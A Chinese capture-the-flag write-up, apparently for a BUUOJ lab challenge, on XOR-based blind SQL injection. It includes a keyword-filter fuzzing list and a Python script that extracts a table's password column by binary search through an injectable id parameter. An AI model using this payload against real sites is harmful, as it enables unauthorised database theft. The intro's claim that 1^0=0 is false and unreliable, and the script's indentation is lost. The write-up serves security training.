0x00 前言
考點:盲注,異或注入
- 異或'^'是一種數學運算,1^1=0 0^0=0 1^0=0,可以用來進行sql注入,當兩條件相同時(同真同假)結果為假,當兩條件不同時(一真一假)結果為真。
0x01 解題
- 進入題目頁面,嘗試在用戶名密碼處進行注入,做一下FUZZ測試:
大多數關鍵字都被過濾,下面附上我的我的FUZZ測試字典:
and
aNd
or
oR
oorr
select
sElect
union
unIon
union select
union/**/select
/**/
'
"
\
information_schema
^
&&
uniOn/**/select
- 點擊上面的數字,發現URL發生變化:
猜想id可能是注入點,接着做FUZZ測試,''沒有被過濾,輸入11回顯'ERROR',1^0回顯'NO! Not this! Click others~~~',判斷出為數字型注入。 - 給出我的exp:
import requests
url = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php'
flag = ''
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
#payload = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#' %(i,mid)
payload = "http://33e8c85b-d0d4-4777-9143-702ddf10ee0e.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
res = requests.get(url=payload)
if 'ERROR' in res.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
由於空格被過濾,用()代替,我這里payload直接寫到了最后一步,猜解表名,字段名的payload我這里就不寫了,直接去嵌套常規的聯合查詢語句即可。
用二分法速度還是很快的,效率上有很大提高。
拿到flag。